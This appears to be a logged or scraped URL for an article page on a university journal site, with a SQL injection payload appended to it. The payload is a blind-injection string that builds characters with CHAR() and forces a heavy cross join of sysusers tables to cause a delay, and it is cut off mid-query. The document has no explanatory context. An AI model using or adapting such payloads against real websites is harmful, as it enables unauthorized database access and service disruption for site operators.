http://journal.feb.unpad.ac.id:80/index.php/jbm/article/view/33||(SELECT CHAR(65)+CHAR(97)+CHAR(69)+CHAR(109) FROM DUAL WHERE 8661=8661 OR 4839=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysu